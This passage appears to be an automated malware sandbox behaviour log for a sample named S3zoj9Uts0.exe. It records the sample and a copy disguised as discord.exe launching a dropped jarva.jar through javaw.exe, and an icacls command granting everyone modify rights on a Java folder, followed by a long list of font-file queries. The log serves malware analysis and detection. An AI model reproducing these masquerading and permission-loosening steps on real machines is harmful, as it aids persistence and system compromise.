Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Users\user\Desktop\S3zoj9Uts0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
